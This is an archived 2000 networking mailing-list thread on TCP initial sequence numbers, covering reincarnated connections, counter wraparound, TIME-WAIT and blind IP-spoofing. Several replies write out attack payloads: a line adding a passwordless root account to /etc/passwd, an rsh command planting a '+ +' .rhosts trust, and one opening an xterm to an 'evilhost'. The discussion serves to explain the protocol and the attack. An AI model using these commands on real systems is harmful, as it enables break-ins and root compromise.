Subject: TCP sequence numbers

From: "T Srivathsa" <[email-masked]>
Date: Tue, 19 Sep 2000 17:56:41 +0530

Hi,

    My understanding of the Initial Sequence Numbers in TCP is that they
increment at a much faster rate (typically once every 4 usecs) than the
subsequent sequence numbers (which depends on how fast TCP pumps that
connection's data into the network).

 This way, during a reincarnation (same src, dst ip addresses and same
src, dst ports) of a connection, even if an old duplicate surfaces, it
can be rejected because "it's sequence number will be WAY BEHIND".

Question 1:
    Recently, there has been talk on the tcp-impl mailing list that ISN
can be random. If so, how can it be guaranteed that an old duplicate
will be rejected during a reincarnation?

Question 2:
    Can circumstances arise such that TCP pumps the connection's data
into the network at such a high rate, that subsequent sequence numbers
increase at the same rate as ISNs?
    For eg, an FTP between very fast machines, on a very fast LAN, with
TCP WINDOW SCALING?

Bye
Srivathsa

---

From: Bob Braden <[email-masked]>
Date: Tue, 19 Sep 2000 16:04:34 GMT

*> From [email-masked] Tue Sep 19 06:38:47 2000
  *> Date: Tue, 19 Sep 2000 17:56:41 +0530
  *> From: "T Srivathsa" <[email-masked]>
  *> Reply-To: [email-masked]
  *> X-Mailer: Mozilla 4.7 [en] (Win95; I)
  *> X-Accept-Language: en
  *> MIME-Version: 1.0
  *> To: "[email-masked]" <[email-masked]>
  *> Subject: TCP sequence numbers
  *> Content-Transfer-Encoding: 7bit
  *> Sender: [email-masked]
  *> Precedence: bulk
  *> X-Lines: 26
  *> 
  *> Hi,
  *> 
  *>     My understanding of the Initial Sequence Numbers in TCP is that they
  *> increment at a much faster rate (typically once every 4 usecs) than the
  *> subsequent sequence numbers (which depends on how fast TCP pumps that
  *> connection's data into the network).
  *> 

Please see the Appendix to RFC1185.

Bob Braden

  *>  This way, during a reincarnation (same src, dst ip addresses and same
  *> src, dst ports) of a connection, even if an old duplicate surfaces, it
  *> can be rejected because "it's sequence number will be WAY BEHIND".
  *> 
  *> Question 1:
  *>     Recently, there has been talk on the tcp-impl mailing list that ISN
  *> can be random. If so, how can it be guaranteed that an old duplicate
  *> will be rejected during a reincarnation?
  *> 
  *> Question 2:
  *>     Can circumstances arise such that TCP pumps the connection's data
  *> into the network at such a high rate, that subsequent sequence numbers
  *> increase at the same rate as ISNs?
  *>     For eg, an FTP between very fast machines, on a very fast LAN, with
  *> TCP WINDOW SCALING?
  *> 
  *> 
  *> Bye
  *> Srivathsa
  *>

---

From: Mark Allman <[email-masked]>
Date: Wed, 20 Sep 2000 10:14:24 -0400

The following was caught by the mailing list filters...

allman

> Date: Wed, 20 Sep 2000 02:37:30 +1000
> From: Charles Esson <[email-masked]>
> CC: [email-masked]
> Subject: Re: TCP sequence numbers
> 
> I have a question also. After you have received the first packet; you know
> the sequence number of the next? The person receiving the initial sequence
> number has no idea what the sender is going to send anyway.
> 
> So if you want to trick the receiver you can use anything. If you want to
> trick the sender I would have thought you needed to know; the sender was
> going to send;  the initial packet would be a good way to work that out and
> get the ISN.
> 
> Why is guessing the sequence number of the first packet before it arrives
> such a big deal?
> 
> Unless there is a good answer to that question; the rest is just rubbish.
> 
> der Mouse wrote:
> 
> > > Question 1:
> >
> > It can't; this is one of the problems with making the whole ISN random.
> > A better approach might be to (say) make the high 16 bits count and the
> > low 16 bits random - there are details, such as dealing with multiple
> > transient connections in a small interval of time, but something like
> > this could probably be made to work.
> >
> > > Question 2:
> >
> > > into the network at such a high rate, that subsequent sequence
> > > numbers increase at the same rate as ISNs?
> >
> > ...or faster.  Yes.  If the ISN comes from a counter that ticks every 4
> > microseconds, that corresponds to 250000 bytes/sec; I routinely see
> > transfer rates over twice that even on 10Mbps Ethernet - and I've seen
> > over 32 times it, over eight MB/sec, when running at 100Mbps.
> >
> > Also, at 4 us per tick, the counter will wrap every 4.77+ hours.  I
> > routinely have connections which stay up for days, transferring on the
> > order of kilobytes, which means that the ISN counter wraps around and
> > catches up to the connection's sequence numbers over and over again.
> >
> > These are (among the reasons) why TIME-WAIT is so important.
> >
> >                                         der Mouse
> >
> >                                [email-masked]
> >                      7D C8 61 52 5D E7 2D 39  4E F1 31 3E E8 B3 27 4B

---

From: "Charles Esson" <[email-masked]>
Date: Thu, 21 Sep 2000 13:27:13 +1000

-----Original Message-----
From: der Mouse <[email-masked]>
To: [email-masked] <[email-masked]>
Date: Thursday, September 21, 2000 11:09 AM
Subject: Re: TCP sequence numbers

>> Why is guessing the sequence number of the first packet before it
>> arrives such a big deal?
>
>Because it allows you to impersonate an arbitrary IP address, provided
>you don't care about seeing what the victim sends back, and provided
>that the host you're impersonating doesn't RST the connection before
>your evil deeds can be done.
>
>The way it works:
>
>(1) You send a SYN, with a forged ip_src and whatever ISN you feel
>    like.  Except for the forged ip_src, this is a perfectly normal SYN.
>
>(2) Victim responds, to the address you're pretending to be, ACKing
>    your SYN and sending its own SYN, with its own ISN.
>
>(3) If this were a normal connection, you'd ACK its SYN.  But since the
>    reply goes off towards the machine you're impersonating, rather
>    than to you, you have to guess the ISN in order to ACK it
>    acceptably.

If you don't see the syn I think it is fair enough to say we don't see the
rest of the session.

So it's a one sided conversation hoping that the server is lisening.

I hope we are not to assume routing didn't worked out for syn but magically
works for the rest of the session.

If I am close enough to guess the clock value surly I am not on the wrong
side of a router; or are we to assume a deterministic router.

I'm sorry but if I am going to do this I am going to do it where I can see
the reply and I aren't going to bother guessing the ISN. I am going to wait
for the server to give it to me; they tend to do that.

Regards

---

From: Vernon Schryver <[email-masked]>
Date: Thu, 21 Sep 2000 08:31:05 -0600 (MDT)

> From: "Charles Esson" <[email-masked]>

> ...

Yes, it might be an rsh command that does something like
    echo badguy::0:0:&:/:/bin/sh >> /etc/passwd

> ...

Contrary to one claim in this thread, even being on the same Ethernet
segment as the target is *not* sufficient to predict or even determine
the time at which the target receives your packets to closer than several
dozen microseconds.  You can get to several dozen microseconds only in
exceptional cases where both the target and the attack machine have
unusually good clocks and clock synchronization software.  Consider
that a change in relative dates of 10 usec per second needs crystals
differing by only one part in 10**5.  I've known expensive, commercial
systems with clocks worse than one part in 10**4 without NTP, `timed`,
or other network time protocols, and not much better than 10**5 with
time protocols and kernel software adjustments to the crystal's frequency.

> for the server to give it to me; they tend to do that.

As I've said several times before, if you're where you can see the reply
(e.g. on the same segment), then there are likely to be other, much easier
attacks available.  For example, if you can see ISN's to attack rlogin
and rsh, then you can probably also see cleartext rlogin passwords.

On the other hand, guessing ISN's is sometimes called the Mitnick Attack,
because its use from afar is not theoretical.  

Vernon Schryver    [email-masked]

---

From: der Mouse <[email-masked]>
Date: Thu, 21 Sep 2000 13:56:03 -0400 (EDT)

>> Because it allows you to impersonate an arbitrary IP address,
>> provided you don't care about seeing what the victim sends back, and
>> provided that the host you're impersonating doesn't [notice].
> If you don't see the syn I think it is fair enough to say we don't
> see the rest of the session.

Right.  "provided you don't care about seeing what the victim sends
back", I wrote, and this is what I was talking about.

> So it's a one sided conversation hoping that the server is lisening.

Right.

Machines configured with .rhosts-style trust have been broken into this
way.  You don't need more than the likes of
	rsh victim "echo + + >> .rhosts"
or
	rsh victim "xterm -display evilhost:14"
which are small and simple enough to do open-loop.  One can't do
anything very elaborate over a source-spoofed connection, but - if the
victim host is vulnerable to this sort of chicanery - one doesn't need
anything very elaborate.

As someone already pointed out, hosts which are that vulnerable are
being ruthlessly culled from the net.  (Perhaps fortunately....)

> If I am close enough to guess the clock value surly I am not on the
> wrong side of a router; or are we to assume a deterministic router.

Oh, you don't just guess everything out of the blue.  First you
establish a "legitimate" (=unforged) connection to the victim, so's to
get a real ISN.  Depending on how the victim generates ISNs you may
need to do this many times to get enough information to succeed in your
guessing....

> I'm sorry but if I am going to do this I am going to do it where I
> can see the reply and I aren't going to bother guessing the ISN.

Sure, if you can, that's surer.  But your skr1pt kiddie with a modem
and too much time on his hands generally is in no position to sniff
traffic between the victim and any host it trusts.

					der Mouse